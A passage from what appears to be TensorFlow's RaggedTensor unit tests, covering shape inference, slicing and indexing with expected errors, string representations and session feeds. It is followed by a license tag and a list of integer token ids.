[[[b'a', b'b'], []], [[b'c', b'd', b'e']], [], [[b'f'], [b'g']]])
self.assertEqual(
self.eval_to_list(rt.values),
[[b'a', b'b'], [], [b'c', b'd', b'e'], [b'f'], [b'g']])
self.assertEqual(rt.values.shape.dims[0].value, 5)
self.assertEqual(self.eval_to_list(rt.value_rowids()), [0, 0, 1, 3, 3])
self.assertEqual(self.eval_to_list(rt.nrows()), 4)
self.assertEqual(self.eval_to_list(rt.row_splits), [0, 2, 3, 3, 5])
self.assertEqual(self.eval_to_list(rt.row_starts()), [0, 2, 3, 3])
self.assertEqual(self.eval_to_list(rt.row_limits()), [2, 3, 3, 5])
self.assertEqual(self.eval_to_list(rt.row_lengths()), [2, 1, 0, 2])
self.assertEqual(
self.eval_to_list(rt.flat_values),
[b'a', b'b', b'c', b'd', b'e', b'f', b'g'])
self.assertEqual([self.eval_to_list(s) for s in rt.nested_row_splits],
[[0, 2, 3, 3, 5], [0, 2, 2, 5, 6, 7]])
#=============================================================================
# RaggedTensor.shape
#=============================================================================
def testShape(self):
"""Tests for RaggedTensor.shape."""
rt1 = RaggedTensor.from_row_splits(b'a b c d e f g'.split(),
[0, 2, 5, 6, 6, 7])
self.assertEqual(rt1.shape.as_list(), [5, None])
rt2 = RaggedTensor.from_row_splits(
[[1, 2], [3, 4], [5, 6], [7, 8], [9, 10], [11, 12], [13, 14]],
[0, 2, 5, 6, 6, 7])
self.assertEqual(rt2.shape.as_list(), [5, None, 2])
rt3 = RaggedTensor.from_row_splits(
[[[1, 2], [3, 4]], [[5, 6], [7, 8]], [[9, 10], [11, 12]]], [0, 2, 2, 3])
self.assertEqual(rt3.shape.as_list(), [3, None, 2, 2])
rt4 = RaggedTensor.from_row_splits(rt3, [0, 1, 3, 3])
self.assertEqual(rt4.shape.as_list(), [3, None, None, 2, 2])
if not context.executing_eagerly():
rt5 = RaggedTensor.from_row_splits(
array_ops.placeholder(dtype=dtypes.string), [0, 2, 3, 5])
self.assertEqual(rt5.shape.ndims, None)
rt6 = RaggedTensor.from_row_splits(
[1, 2, 3], array_ops.placeholder(dtype=dtypes.int64))
self.assertEqual(rt6.shape.as_list(), [None, None])
#=============================================================================
# RaggedTensor.__getitem__
#=============================================================================
def _TestGetItem(self, rt, slice_spec, expected):
"""Helper function for testing RaggedTensor.__getitem__.
Checks that calling `rt.__getitem__(slice_spec) returns the expected value.
Checks three different configurations for each slice spec:
* Call __getitem__ with the slice spec as-is (with int values)
* Call __getitem__ with int values in the slice spec wrapped in
`tf.constant()`.
* Call __getitem__ with int values in the slice spec wrapped in
`tf.placeholder()` (so value is not known at graph construction time).
Args:
rt: The RaggedTensor to test.
slice_spec: The slice spec.
expected: The expected value of rt.__getitem__(slice_spec), as a python
list; or an exception class.
"""
tensor_slice_spec1 = _make_tensor_slice_spec(slice_spec, True)
tensor_slice_spec2 = _make_tensor_slice_spec(slice_spec, False)
value1 = self.eval_to_list(rt.__getitem__(slice_spec))
value2 = self.eval_to_list(rt.__getitem__(tensor_slice_spec1))
value3 = self.eval_to_list(rt.__getitem__(tensor_slice_spec2))
self.assertEqual(value1, expected, 'slice_spec=%s' % (slice_spec,))
self.assertEqual(value2, expected, 'slice_spec=%s' % (slice_spec,))
self.assertEqual(value3, expected, 'slice_spec=%s' % (slice_spec,))
def _TestGetItemException(self, rt, slice_spec, expected, message):
"""Helper function for testing RaggedTensor.__getitem__ exceptions."""
tensor_slice_spec1 = _make_tensor_slice_spec(slice_spec, True)
self.assertRaisesRegexp(expected, message, rt.__getitem__, slice_spec)
self.assertRaisesRegexp(expected, message, rt.__getitem__,
tensor_slice_spec1)
@parameterized.parameters(
# Tests for rt[i]
(SLICE_BUILDER[-5], EXAMPLE_RAGGED_TENSOR_2D[-5]),
(SLICE_BUILDER[-4], EXAMPLE_RAGGED_TENSOR_2D[-4]),
(SLICE_BUILDER[-1], EXAMPLE_RAGGED_TENSOR_2D[-1]),
(SLICE_BUILDER[0], EXAMPLE_RAGGED_TENSOR_2D[0]),
(SLICE_BUILDER[1], EXAMPLE_RAGGED_TENSOR_2D[1]),
(SLICE_BUILDER[4], EXAMPLE_RAGGED_TENSOR_2D[4]),
# Tests for rt[i:]
(SLICE_BUILDER[-6:], EXAMPLE_RAGGED_TENSOR_2D[-6:]),
(SLICE_BUILDER[-3:], EXAMPLE_RAGGED_TENSOR_2D[-3:]),
(SLICE_BUILDER[-1:], EXAMPLE_RAGGED_TENSOR_2D[-1:]),
(SLICE_BUILDER[0:], EXAMPLE_RAGGED_TENSOR_2D[0:]),
(SLICE_BUILDER[3:], EXAMPLE_RAGGED_TENSOR_2D[3:]),
(SLICE_BUILDER[5:], EXAMPLE_RAGGED_TENSOR_2D[5:]),
# Tests for rt[:j]
(SLICE_BUILDER[:-6], EXAMPLE_RAGGED_TENSOR_2D[:-6]),
(SLICE_BUILDER[:-3], EXAMPLE_RAGGED_TENSOR_2D[:-3]),
(SLICE_BUILDER[:-1], EXAMPLE_RAGGED_TENSOR_2D[:-1]),
(SLICE_BUILDER[:0], EXAMPLE_RAGGED_TENSOR_2D[:0]),
(SLICE_BUILDER[:3], EXAMPLE_RAGGED_TENSOR_2D[:3]),
(SLICE_BUILDER[:5], EXAMPLE_RAGGED_TENSOR_2D[:5]),
# Tests for rt[i:j]
(SLICE_BUILDER[0:3], EXAMPLE_RAGGED_TENSOR_2D[0:3]),
(SLICE_BUILDER[3:5], EXAMPLE_RAGGED_TENSOR_2D[3:5]),
(SLICE_BUILDER[-5:3], EXAMPLE_RAGGED_TENSOR_2D[-5:3]),
(SLICE_BUILDER[3:1], EXAMPLE_RAGGED_TENSOR_2D[3:1]),
(SLICE_BUILDER[-1:1], EXAMPLE_RAGGED_TENSOR_2D[-1:1]),
(SLICE_BUILDER[1:-1], EXAMPLE_RAGGED_TENSOR_2D[1:-1]),
# Tests for rt[i, j]
(SLICE_BUILDER[0, 1], EXAMPLE_RAGGED_TENSOR_2D[0][1]),
(SLICE_BUILDER[1, 2], EXAMPLE_RAGGED_TENSOR_2D[1][2]),
(SLICE_BUILDER[-1, 0], EXAMPLE_RAGGED_TENSOR_2D[-1][0]),
(SLICE_BUILDER[-3, 0], EXAMPLE_RAGGED_TENSOR_2D[-3][0]),
(SLICE_BUILDER[:], EXAMPLE_RAGGED_TENSOR_2D),
(SLICE_BUILDER[:, :], EXAMPLE_RAGGED_TENSOR_2D),
# Empty slice spec.
([], EXAMPLE_RAGGED_TENSOR_2D),
# Test for ellipsis
(SLICE_BUILDER[...], EXAMPLE_RAGGED_TENSOR_2D),
(SLICE_BUILDER[2, ...], EXAMPLE_RAGGED_TENSOR_2D[2]),
(SLICE_BUILDER[..., :], EXAMPLE_RAGGED_TENSOR_2D),
(SLICE_BUILDER[..., 2, 0], EXAMPLE_RAGGED_TENSOR_2D[2][0]),
(SLICE_BUILDER[2, ..., 0], EXAMPLE_RAGGED_TENSOR_2D[2][0]),
(SLICE_BUILDER[2, 0, ...], EXAMPLE_RAGGED_TENSOR_2D[2][0]),
# Test for array_ops.newaxis
(SLICE_BUILDER[array_ops.newaxis, :], [EXAMPLE_RAGGED_TENSOR_2D]),
(SLICE_BUILDER[:, array_ops.newaxis],
[[row] for row in EXAMPLE_RAGGED_TENSOR_2D]),
# Slicing inner ragged dimensions.
(SLICE_BUILDER[-1:, 1:4],
[row[1:4] for row in EXAMPLE_RAGGED_TENSOR_2D[-1:]]),
(SLICE_BUILDER[:, 1:4], [row[1:4] for row in EXAMPLE_RAGGED_TENSOR_2D]),
(SLICE_BUILDER[:, -2:], [row[-2:] for row in EXAMPLE_RAGGED_TENSOR_2D]),
# TODO(edloper): Add tests for strided slices, once support is added.
)
def testRaggedTensorGetItemWithRaggedRank1(self, slice_spec, expected):
"""Test that rt.__getitem__(slice_spec) == expected."""
# Ragged tensor
rt = RaggedTensor.from_row_splits(EXAMPLE_RAGGED_TENSOR_2D_VALUES,
EXAMPLE_RAGGED_TENSOR_2D_SPLITS)
self.assertEqual(self.eval_to_list(rt), EXAMPLE_RAGGED_TENSOR_2D)
self._TestGetItem(rt, slice_spec, expected)
# pylint: disable=invalid-slice-index
@parameterized.parameters(
# Tests for out-of-bound errors
(SLICE_BUILDER[5], (IndexError, ValueError, errors.InvalidArgumentError),
'.*out of bounds.*'),
(SLICE_BUILDER[-6], (IndexError, ValueError, errors.InvalidArgumentError),
'.*out of bounds.*'),
(SLICE_BUILDER[0, 2], (IndexError, ValueError,
errors.InvalidArgumentError), '.*out of bounds.*'),
(SLICE_BUILDER[3, 0], (IndexError, ValueError,
errors.InvalidArgumentError), '.*out of bounds.*'),
# Indexing into an inner ragged dimension
(SLICE_BUILDER[:, 3], ValueError,
'Cannot index into an inner ragged dimension'),
(SLICE_BUILDER[:1, 3], ValueError,
'Cannot index into an inner ragged dimension'),
(SLICE_BUILDER[..., 3], ValueError,
'Cannot index into an inner ragged dimension'),
# Tests for type errors
(SLICE_BUILDER[0.5], TypeError, re.escape(array_ops._SLICE_TYPE_ERROR)),
(SLICE_BUILDER[1:3:0.5], TypeError, re.escape(
array_ops._SLICE_TYPE_ERROR)),
(SLICE_BUILDER[:, 1:3:0.5], TypeError,
'slice strides must be integers or None'),
(SLICE_BUILDER[:, 0.5:1.5], TypeError,
'slice offsets must be integers or None'),
(SLICE_BUILDER['foo'], TypeError, re.escape(array_ops._SLICE_TYPE_ERROR)),
(SLICE_BUILDER[:, 'foo':'foo'], TypeError,
'slice offsets must be integers or None'),
# Tests for other errors
(SLICE_BUILDER[..., 0, 0, 0], IndexError,
'Too many indices for RaggedTensor'),
)
def testRaggedTensorGetItemErrorsWithRaggedRank1(self, slice_spec, expected,
message):
"""Test that rt.__getitem__(slice_spec) == expected."""
# Ragged tensor
rt = RaggedTensor.from_row_splits(EXAMPLE_RAGGED_TENSOR_2D_VALUES,
EXAMPLE_RAGGED_TENSOR_2D_SPLITS)
self.assertEqual(self.eval_to_list(rt), EXAMPLE_RAGGED_TENSOR_2D)
self._TestGetItemException(rt, slice_spec, expected, message)
@parameterized.parameters(
# Tests for rt[index, index, ...]
(SLICE_BUILDER[2, 0], EXAMPLE_RAGGED_TENSOR_4D[2][0]),
(SLICE_BUILDER[2, 0, 1], EXAMPLE_RAGGED_TENSOR_4D[2][0][1]),
(SLICE_BUILDER[2, 0, 1, 1], EXAMPLE_RAGGED_TENSOR_4D[2][0][1][1]),
(SLICE_BUILDER[2, 0, 1:], EXAMPLE_RAGGED_TENSOR_4D[2][0][1:]),
(SLICE_BUILDER[2, 0, 1:, 1:], [[16], [18]]),
(SLICE_BUILDER[2, 0, :, 1], [14, 16, 18]),
(SLICE_BUILDER[2, 0, 1, :], EXAMPLE_RAGGED_TENSOR_4D[2][0][1]),
# Tests for rt[index, slice, ...]
(SLICE_BUILDER[0, :], EXAMPLE_RAGGED_TENSOR_4D[0]),
(SLICE_BUILDER[1, :], EXAMPLE_RAGGED_TENSOR_4D[1]),
(SLICE_BUILDER[0, :, :, 1], [[2, 4, 6], [8, 10, 12]]),
(SLICE_BUILDER[1, :, :, 1], []),
(SLICE_BUILDER[2, :, :, 1], [[14, 16, 18]]),
(SLICE_BUILDER[3, :, :, 1], [[20]]),
# Tests for rt[slice, slice, ...]
(SLICE_BUILDER[:, :], EXAMPLE_RAGGED_TENSOR_4D),
(SLICE_BUILDER[:, :, :, 1], [[[2, 4, 6], [8, 10, 12]], [], [[14, 16, 18]],
[[20]]]),
(SLICE_BUILDER[1:, :, :, 1], [[], [[14, 16, 18]], [[20]]]),
(SLICE_BUILDER[-3:, :, :, 1], [[], [[14, 16, 18]], [[20]]]),
# Test for ellipsis
(SLICE_BUILDER[...], EXAMPLE_RAGGED_TENSOR_4D),
(SLICE_BUILDER[2, ...], EXAMPLE_RAGGED_TENSOR_4D[2]),
(SLICE_BUILDER[2, 0, ...], EXAMPLE_RAGGED_TENSOR_4D[2][0]),
(SLICE_BUILDER[..., 0], [[[1, 3, 5], [7, 9, 11]], [], [[13, 15, 17]],
[[19]]]),
(SLICE_BUILDER[2, ..., 0], [[13, 15, 17]]),
(SLICE_BUILDER[2, 0, ..., 0], [13, 15, 17]),
# Test for array_ops.newaxis
(SLICE_BUILDER[array_ops.newaxis, :], [EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, array_ops.newaxis],
[[row] for row in EXAMPLE_RAGGED_TENSOR_4D]),
# Empty slice spec.
([], EXAMPLE_RAGGED_TENSOR_4D),
# Slicing inner ragged dimensions.
(SLICE_BUILDER[:, 1:4], [row[1:4] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, -2:], [row[-2:] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, :, :-1],
[[v[:-1] for v in row] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, :, 1:2],
[[v[1:2] for v in row] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[1:, 1:3, 1:2],
[[v[1:2] for v in row[1:3]] for row in EXAMPLE_RAGGED_TENSOR_4D[1:]]),
# Strided slices
(SLICE_BUILDER[::2], EXAMPLE_RAGGED_TENSOR_4D[::2]),
(SLICE_BUILDER[1::2], EXAMPLE_RAGGED_TENSOR_4D[1::2]),
(SLICE_BUILDER[:, ::2], [row[::2] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, 1::2], [row[1::2] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, :, ::2],
[[v[::2] for v in row] for row in EXAMPLE_RAGGED_TENSOR_4D]),
(SLICE_BUILDER[:, :, 1::2],
[[v[1::2] for v in row] for row in EXAMPLE_RAGGED_TENSOR_4D]),
# TODO(edloper): Add tests for strided slices, once support is added.
# TODO(edloper): Add tests slicing inner ragged dimensions, one support
# is added.
)
def testRaggedTensorGetItemWithRaggedRank2(self, slice_spec, expected):
"""Test that rt.__getitem__(slice_spec) == expected."""
rt = RaggedTensor.from_nested_row_splits(
EXAMPLE_RAGGED_TENSOR_4D_VALUES,
[EXAMPLE_RAGGED_TENSOR_4D_SPLITS1, EXAMPLE_RAGGED_TENSOR_4D_SPLITS2])
self.assertEqual(self.eval_to_list(rt), EXAMPLE_RAGGED_TENSOR_4D)
self._TestGetItem(rt, slice_spec, expected)
@parameterized.parameters(
# Test for errors in unsupported cases
(SLICE_BUILDER[:, 0], ValueError,
'Cannot index into an inner ragged dimension.'),
(SLICE_BUILDER[:, :, 0], ValueError,
'Cannot index into an inner ragged dimension.'),
# Test for out-of-bounds errors.
(SLICE_BUILDER[1, 0], (IndexError, ValueError,
errors.InvalidArgumentError), '.*out of bounds.*'),
(SLICE_BUILDER[0, 0, 3],
(IndexError, ValueError,
errors.InvalidArgumentError), '.*out of bounds.*'),
(SLICE_BUILDER[5], (IndexError, ValueError, errors.InvalidArgumentError),
'.*out of bounds.*'),
(SLICE_BUILDER[0, 5], (IndexError, ValueError,
errors.InvalidArgumentError), '.*out of bounds.*'),
)
def testRaggedTensorGetItemErrorsWithRaggedRank2(self, slice_spec, expected,
message):
"""Test that rt.__getitem__(slice_spec) == expected."""
rt = RaggedTensor.from_nested_row_splits(
EXAMPLE_RAGGED_TENSOR_4D_VALUES,
[EXAMPLE_RAGGED_TENSOR_4D_SPLITS1, EXAMPLE_RAGGED_TENSOR_4D_SPLITS2])
self.assertEqual(self.eval_to_list(rt), EXAMPLE_RAGGED_TENSOR_4D)
self._TestGetItemException(rt, slice_spec, expected, message)
@parameterized.parameters(
(SLICE_BUILDER[:], []),
(SLICE_BUILDER[2:], []),
(SLICE_BUILDER[:-3], []),
)
def testRaggedTensorGetItemWithEmptyTensor(self, slice_spec, expected):
"""Test that rt.__getitem__(slice_spec) == expected."""
rt = RaggedTensor.from_row_splits([], [0])
self._TestGetItem(rt, slice_spec, expected)
@parameterized.parameters(
(SLICE_BUILDER[0], (IndexError, ValueError, errors.InvalidArgumentError),
'.*out of bounds.*'),
(SLICE_BUILDER[-1], (IndexError, ValueError, errors.InvalidArgumentError),
'.*out of bounds.*'),
)
def testRaggedTensorGetItemErrorsWithEmptyTensor(self, slice_spec, expected,
message):
"""Test that rt.__getitem__(slice_spec) == expected."""
rt = RaggedTensor.from_row_splits([], [0])
self._TestGetItemException(rt, slice_spec, expected, message)
@parameterized.parameters(
(SLICE_BUILDER[-4], EXAMPLE_RAGGED_TENSOR_2D[-4]),
(SLICE_BUILDER[0], EXAMPLE_RAGGED_TENSOR_2D[0]),
(SLICE_BUILDER[-3:], EXAMPLE_RAGGED_TENSOR_2D[-3:]),
(SLICE_BUILDER[:3], EXAMPLE_RAGGED_TENSOR_2D[:3]),
(SLICE_BUILDER[3:5], EXAMPLE_RAGGED_TENSOR_2D[3:5]),
(SLICE_BUILDER[0, 1], EXAMPLE_RAGGED_TENSOR_2D[0][1]),
(SLICE_BUILDER[-3, 0], EXAMPLE_RAGGED_TENSOR_2D[-3][0]),
)
def testRaggedTensorGetItemWithPlaceholderShapes(self, slice_spec, expected):
"""Test that rt.__getitem__(slice_spec) == expected."""
# Intentionally use an unknown shape for `splits`, to force the code path
# that deals with having nrows unknown at graph construction time.
splits = constant_op.constant(
EXAMPLE_RAGGED_TENSOR_2D_SPLITS, dtype=dtypes.int64)
splits = array_ops.placeholder_with_default(splits, None)
rt = RaggedTensor.from_row_splits(EXAMPLE_RAGGED_TENSOR_2D_VALUES, splits)
self.assertEqual(self.eval_to_list(rt), EXAMPLE_RAGGED_TENSOR_2D)
self._TestGetItem(rt, slice_spec, expected)
@parameterized.parameters(
(SLICE_BUILDER[..., 2], ValueError,
'Ellipsis not supported for unknown shape RaggedTensors'),)
def testRaggedTensorGetItemErrorsWithPlaceholderShapes(
self, slice_spec, expected, message):
"""Test that rt.__getitem__(slice_spec) == expected."""
if not context.executing_eagerly():
# Intentionally use an unknown shape for `values`.
values = array_ops.placeholder_with_default([0], None)
rt = RaggedTensor.from_row_splits(values, [0, 1])
self._TestGetItemException(rt, slice_spec, expected, message)
def testGetItemNewAxis(self):
# rt: [[[['a', 'b'], ['c', 'd']], [], [['e', 'f']]], []]
splits1 = [0, 3, 3]
splits2 = [0, 2, 2, 3]
values = constant_op.constant([['a', 'b'], ['c', 'd'], ['e', 'f']])
rt = RaggedTensor.from_nested_row_splits(values, [splits1, splits2])
rt_newaxis0 = rt[array_ops.newaxis]
rt_newaxis1 = rt[:, array_ops.newaxis]
rt_newaxis2 = rt[:, :, array_ops.newaxis]
rt_newaxis3 = rt[:, :, :, array_ops.newaxis]
rt_newaxis4 = rt[:, :, :, :, array_ops.newaxis]
self.assertEqual(
self.eval_to_list(rt),
[[[[b'a', b'b'], [b'c', b'd']], [], [[b'e', b'f']]], []])
self.assertEqual(
self.eval_to_list(rt_newaxis0),
[[[[[b'a', b'b'], [b'c', b'd']], [], [[b'e', b'f']]], []]])
self.assertEqual(
self.eval_to_list(rt_newaxis1),
[[[[[b'a', b'b'], [b'c', b'd']], [], [[b'e', b'f']]]], [[]]])
self.assertEqual(
self.eval_to_list(rt_newaxis2),
[[[[[b'a', b'b'], [b'c', b'd']]], [[]], [[[b'e', b'f']]]], []])
self.assertEqual(
self.eval_to_list(rt_newaxis3),
[[[[[b'a', b'b']], [[b'c', b'd']]], [], [[[b'e', b'f']]]], []])
self.assertEqual(
self.eval_to_list(rt_newaxis4),
[[[[[b'a'], [b'b']], [[b'c'], [b'd']]], [], [[[b'e'], [b'f']]]], []])
self.assertEqual(rt.ragged_rank, 2)
self.assertEqual(rt_newaxis0.ragged_rank, 3)
self.assertEqual(rt_newaxis1.ragged_rank, 3)
self.assertEqual(rt_newaxis2.ragged_rank, 3)
self.assertEqual(rt_newaxis3.ragged_rank, 2)
self.assertEqual(rt_newaxis4.ragged_rank, 2)
self.assertEqual(rt_newaxis0.shape.as_list(), [1, None, None, None, 2])
self.assertEqual(rt_newaxis1.shape.as_list(), [2, None, None, None, 2])
self.assertEqual(rt_newaxis2.shape.as_list(), [2, None, None, None, 2])
self.assertEqual(rt_newaxis3.shape.as_list(), [2, None, None, 1, 2])
self.assertEqual(rt_newaxis4.shape.as_list(), [2, None, None, 2, 1])
#=============================================================================
# RaggedTensor.__str__
#=============================================================================
def testRaggedTensorStr(self):
values = [b'a', b'b', b'c', b'd', b'e', b'f', b'g']
row_splits = [0, 2, 5, 6, 6, 7]
rt = RaggedTensor.from_row_splits(values, row_splits)
if context.executing_eagerly():
expected_str = '<tf.RaggedTensor {}>'.format([[b'a', b'b'],
[b'c', b'd', b'e'], [b'f'],
[], [b'g']])
expected_repr = (
'tf.RaggedTensor(values=tf.Tensor([{}], shape=(7,), dtype=string), '
'row_splits=tf.Tensor([{}], shape=(6,), dtype=int64))'.format(
' '.join(repr(x) for x in values), ' '.join(
repr(x) for x in row_splits)))
self.assertEqual(str(rt), expected_str)
self.assertEqual(repr(rt), expected_repr)
else:
expected_repr = (
'tf.RaggedTensor(values=Tensor("RaggedFromRowSplits/values:0", '
'shape=(7,), dtype=string), row_splits='
'Tensor("RaggedFromRowSplits/row_splits:0", '
'shape=(6,), dtype=int64))')
self.assertEqual(repr(rt), expected_repr)
self.assertEqual(str(rt), expected_repr)
def testRaggedTensorValueStr(self):
values = [b'a', b'b', b'c', b'd', b'e', b'f', b'g']
row_splits = [0, 2, 5, 6, 6, 7]
rt = ragged_tensor_value.RaggedTensorValue(
np.array(values), np.array(row_splits, dtype=np.int64))
expected_str = '<tf.RaggedTensorValue {}>'.format([[b'a', b'b'],
[b'c', b'd', b'e'],
[b'f'], [], [b'g']])
expected_repr = ("tf.RaggedTensorValue(values=array({}, dtype='|S1'), "
'row_splits=array({}))'.format(values, row_splits))
self.assertEqual(' '.join(str(rt).split()), expected_str)
self.assertEqual(' '.join(repr(rt).split()), expected_repr)
#=============================================================================
# RaggedTensor.with_values() and RaggedTensor.with_flat_values().
#=============================================================================
def testWithValues(self):
rt1 = ragged_factory_ops.constant([[1, 2], [3, 4, 5], [6], [], [7]])
rt2 = ragged_factory_ops.constant([[[1, 2], [3, 4, 5]], [[6]], [], [[],
[7]]])
rt1_plus_10 = rt1.with_values(rt1.values + 10)
rt2_times_10 = rt2.with_flat_values(rt2.flat_values * 10)
rt1_expanded = rt1.with_values(array_ops.expand_dims(rt1.values, axis=1))
self.assertEqual(
self.eval_to_list(rt1_plus_10),
[[11, 12], [13, 14, 15], [16], [], [17]])
self.assertEqual(
self.eval_to_list(rt2_times_10),
[[[10, 20], [30, 40, 50]], [[60]], [], [[], [70]]])
self.assertEqual(
self.eval_to_list(rt1_expanded),
[[[1], [2]], [[3], [4], [5]], [[6]], [], [[7]]])
#=============================================================================
# Session.run
#=============================================================================
def testSessionRun(self):
if context.executing_eagerly():
return
rt1 = ragged_factory_ops.constant([[1, 2, 3], [4]])
rt2 = ragged_factory_ops.constant([[[], [1, 2]], [[3]]])
with self.test_session() as session:
result = session.run({'rt1': rt1, 'rt2': rt2})
self.assertCountEqual(sorted(result.keys()), ['rt1', 'rt2'])
self.assertEqual(result['rt1'].to_list(), [[1, 2, 3], [4]])
self.assertEqual(result['rt2'].to_list(), [[[], [1, 2]], [[3]]])
def testSessionRunFeed(self):
if context.executing_eagerly():
return
rt1 = RaggedTensor.from_row_splits(
array_ops.placeholder(dtypes.int32),
array_ops.placeholder(dtypes.int64))
rt2 = RaggedTensor.from_nested_row_splits(
array_ops.placeholder(dtypes.int32), [
array_ops.placeholder(dtypes.int64),
array_ops.placeholder(dtypes.int64)
])
rt1_feed_val = ragged_factory_ops.constant_value([[1, 2, 3], [4]])
rt2_feed_val = ragged_factory_ops.constant_value([[[], [1, 2]], [[3]]])
with self.test_session() as session:
result = session.run({
'rt1': rt1,
'rt2': rt2
},
feed_dict={
rt1: rt1_feed_val,
rt2: rt2_feed_val
})
self.assertCountEqual(sorted(result.keys()), ['rt1', 'rt2'])
self.assertEqual(result['rt1'].to_list(), [[1, 2, 3], [4]])
self.assertEqual(result['rt2'].to_list(), [[[], [1, 2]], [[3]]])
def testSessionPartialRunFeed(self):
if context.executing_eagerly():
return
# Placeholder inputs.
a = RaggedTensor.from_row_splits(
array_ops.placeholder(dtypes.int32, shape=[None], name='a.values'),
array_ops.placeholder(dtypes.int64, name='a.row_splits'))
b = RaggedTensor.from_row_splits(
array_ops.placeholder(dtypes.int32, shape=[None], name='b.values'),
array_ops.placeholder(dtypes.int64, name='b.row_splits'))
c = array_ops.placeholder(dtypes.int32, shape=[], name='c')
# Feed values for placeholder inputs.
a_val = ragged_factory_ops.constant_value([[1, 2, 3], [4]])
b_val = ragged_factory_ops.constant_value([[5, 4, 3], [2]])
c_val = 3
# Compute some values.
r1 = ragged_math_ops.reduce_sum(a * b, axis=1)
r2 = ragged_math_ops.reduce_sum(a + c, axis=1)
with self.test_session() as session:
handle = session.partial_run_setup([r1, r2], [a, b, c])
res1 = session.partial_run(handle, r1, feed_dict={a: a_val, b: b_val})
self.assertAllEqual(res1, [22, 8])
res2 = session.partial_run(handle, r2, feed_dict={c: c_val})
self.assertAllEqual(res2, [15, 7])
# Test case for GitHub issue 24679.
def testEagerForLoop(self):
if not context.executing_eagerly():
return
values = [[1., 2.], [3., 4., 5.], [6.]]
r = ragged_factory_ops.constant(values)
i = 0
for elem in r:
self.assertAllEqual(elem, values[i])
i += 1
def testConsumers(self):
if context.executing_eagerly():
return
a = RaggedTensor.from_row_splits(
array_ops.placeholder(dtypes.int32, shape=[None], name='a.values'),
array_ops.placeholder(dtypes.int64, name='a.row_splits'))
ragged_math_ops.reduce_sum(a)
self.assertLen(a.consumers(), 1)
if __name__ == '__main__':
googletest.main()
|
apache-2.0
|
[
3,
1898,
14894,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
2925,
367,
10919,
63,
7522,
14,
16008,
14,
1548,
14,
1483,
14,
24359,
63,
3128,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
295,
199,
199,
504,
2853,
76,
14,
4776,
492,
29526,
199,
646,
2680,
465,
980,
199,
199,
504,
3228,
14,
1548,
14,
10283,
492,
1067,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4413,
63,
411,
199,
504,
3228,
14,
1548,
14,
4857,
492,
6674,
199,
504,
3228,
14,
1548,
14,
4857,
492,
2552,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4156,
199,
504,
3228,
14,
1548,
14,
4857,
492,
511,
63,
1974,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3702,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3442,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3128,
63,
585,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
396,
63,
1974,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
14,
24359,
63,
3128,
492,
820,
24843,
3861,
199,
504,
3228,
14,
1548,
14,
3246,
492,
31141,
421,
199,
533,
485,
14034,
6437,
8,
785,
304,
523,
408,
4433,
370,
6982,
2368,
367,
636,
6095,
4343,
819,
11028,
26,
485,
14034,
6437,
3430,
28,
3684,
19109,
6014,
63,
1650,
2018,
12821,
367,
665,
3684,
10827,
523,
408,
819,
347,
636,
6095,
721,
277,
12,
6014,
63,
1650,
304,
272,
372,
6014,
63,
1650,
421,
199,
51,
2507,
37,
63,
8248,
540,
275,
485,
14034,
6437,
342,
421,
199,
318,
485,
1875,
63,
3128,
63,
5224,
63,
1650,
8,
5224,
63,
1650,
12,
675,
63,
4083,
29,
549,
304,
523,
408,
55,
8146,
1006,
9446,
315,
376,
9243,
6014,
3158,
336,
15,
282,
2345,
14,
819,
961,
805,
365,
1202,
370,
1720,
511,
23647,
1380,
314,
6014,
3158,
3509,
523,
10519,
12,
7830,
2419,
9446,
14,
819,
3033,
26,
272,
6014,
63,
1650,
26,
710,
9243,
6014,
3158,
14,
272,
675,
63,
4083,
26,
982,
2549,
12,
2066,
4816,
1924,
3000,
543,
282,
2833,
14,
4083,
14,
221,
982,
3055,
12,
489,
2066,
4816,
1924,
3000,
543,
282,
2833,
14,
6199,
14,
819,
1803,
26,
272,
437,
1331,
402,
6014,
63,
1650,
12,
1325,
543,
1924,
3000,
284,
8717,
543,
2833,
14,
4083,
8,
73,
680,
523,
408,
819,
347,
1852,
63,
20082,
63,
7033,
8,
20082,
304,
272,
340,
1228,
8,
20082,
12,
1109,
304,
489,
6917,
275,
4413,
63,
411,
14,
4083,
8,
20082,
9,
489,
340,
675,
63,
4083,
26,
267,
372,
6917,
489,
587,
26,
267,
